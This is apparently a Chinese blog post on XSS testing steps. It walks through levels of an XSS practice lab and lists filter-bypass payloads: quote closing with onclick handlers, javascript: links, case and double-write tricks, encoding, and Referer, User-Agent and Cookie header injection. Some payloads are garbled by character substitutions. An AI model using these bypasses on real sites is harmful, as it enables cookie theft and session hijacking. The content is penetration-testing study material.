当前位置: 首页 > news >正文

xss测试步骤总结

文章目录

  • 测试流程
  • 1.开启burp
  • 2.测试常规xss语句
  • 3.观察回显
  • 4.测试闭合与绕过
    • Level2
    • Level3
    • Level4
    • Level5
    • Level6
    • Level7
  • 5.xss绕过方法
    • 1)测试需观察点
    • 2)无过滤法
    • 3)">闭合
    • 4)单引号闭合+事件函数
    • 5)双引号闭合+事件函数
    • 6)引号闭合+链接
    • 7)大小写绕过
    • 8)多写绕过
    • 9)unicode编码
    • 10)unicode编码+//注释
    • 11)隐藏标签赋值
    • 12)referer注入
    • 13)UA头注入
    • 14)Cookie注入
    • 15)`替换()
    • 16)实体编码绕过
    • 17)--!>注释绕过

测试流程

先看bp
再看回显
测试常规xss语句
接着看F12上下文
然后是构造闭合
最后是依次测试绕过方法
成功的时候要能得到一个可以复现的url

1.开启burp

正常输入看响应包和发送包有没有相同点
在这里插入图片描述

如果没有进入第二步

2.测试常规xss语句

一般选即可,或,或 οnclick=alert(document.cookie)
只用做轮子测试,如果还不行,进入下一步

3.观察回显

比如上一步中输入,输入框回显异常

在这里插入图片描述

4.测试闭合与绕过

Level2

在这里插入图片描述

F12观察输入框位置上下文

可以发现语句存在需要闭合的地方,改成"><img src="javascript:alert(‘XSS’)后语句看起来才正常
在这里插入图片描述

所以轮子应该类似">{javascript}

Level3

">//
在这里插入图片描述

此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束
&:转换为&
“:转换为”
':转换为成为 ’
<:转换为<

:转换为>
由上可以看出单引号没有转义,可以用它来做闭合

Level4

同上

Level5

发现过滤了on,会在on之间插入_,ri也被过滤
因此只能找不带on和

Level6

这关链接也被过滤,但是可以通过大小写绕过
" oNclick=alert(document.cookie) "
总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

Level7

多写绕过
" oonnclick=alert(document.cookie) "
以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法

5.xss绕过方法

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码
burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息
xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

’ οnclick=’ alert(“123”);

5)双引号闭合+事件函数

" οnclick=alert(‘123’);"

6)引号闭合+链接

"><a href=javascript:alert(‘xss’)>xss

7)大小写绕过

"><a hRef=javascript:alert(‘xss’)>xss

8)多写绕过

" oonnclick=alert(‘123’);"

9)unicode编码

javascript:alert(‘xss’)
javascrIpt:alert(‘xss’)

10)unicode编码+//注释

javascript:alert(‘xss’)//http://www.baidu.com
javascript:alert(‘xss’)//http://

11)隐藏标签赋值

t_sort=123" type=“” οnclick="alert(‘xss’)

12)referer注入

“ type=”” οnclick=”alert(document.cookie)

13)UA头注入

“ type=”” οnclick=”alert(document.cookie)

14)Cookie注入

“ οnclick="alert(‘xss’) type=”

15)`替换()

16)实体编码绕过

https://www.qqxiuzi.cn/bianma/zifushiti.php

17)–!>注释绕过

注释方式有两种:

http://www.lryc.cn/news/181870.html

相关文章:

  • 2023最新简易ChatGPT3.5小程序全开源源码+全新UI首发+实测可用可二开(带部署教程)
  • 【Redis】数据过期策略和数据淘汰策略
  • RPA的优势和劣势是什么,RPA能力边界在哪里?
  • Kubernetes 学习总结(38)—— Kubernetes 与云原生的联系
  • 号卡推广管理系统源码/手机流量卡推广网站源码/PHP源码+带后台版本+分销系统
  • 【C语言】汉诺塔 —— 详解
  • 【云备份】
  • 第四十六章 命名空间和数据库 - 系统提供的数据库
  • 【贪心的商人】python实现-附ChatGPT解析
  • 解决nvm切换node版本失败的终极办法-秒杀网上99%的水文
  • 2023蓝帽杯半决赛电子取证+CTF部分题解
  • OCTA数据集(Rose)+ OCTA-Net
  • java Spring Boot 手动启动热部署
  • Autosar诊断实战系列20-UDS首帧数据接收及流控帧发送代码级分析
  • C/C++ 数据结构 - 队列
  • 免杀对抗-DLL劫持免杀
  • Anaconda添加channels后出现unexpected urllib3 DEBUG logging from conda-build
  • python 将二维数组的数据保存到csv文件中
  • UGUI交互组件Button
  • 认知智能最新研究成果
  • Armv8/Armv9 Cache知识大纲分享--思维导图
  • 如何使用百度“云一朵”来分析PDF文件
  • IIS解决上传文件大小限制
  • 多源最短路径的原理及C++实现
  • JMeter性能测试
  • Cocos Creator3.8 实战问题(四)巧用九宫格图像拉伸
  • Linux shell编程学习笔记7:只读变量
  • Scala第十七章节
  • BGP高级特性——4字节AS号
  • cesium源码无法更新的解决方案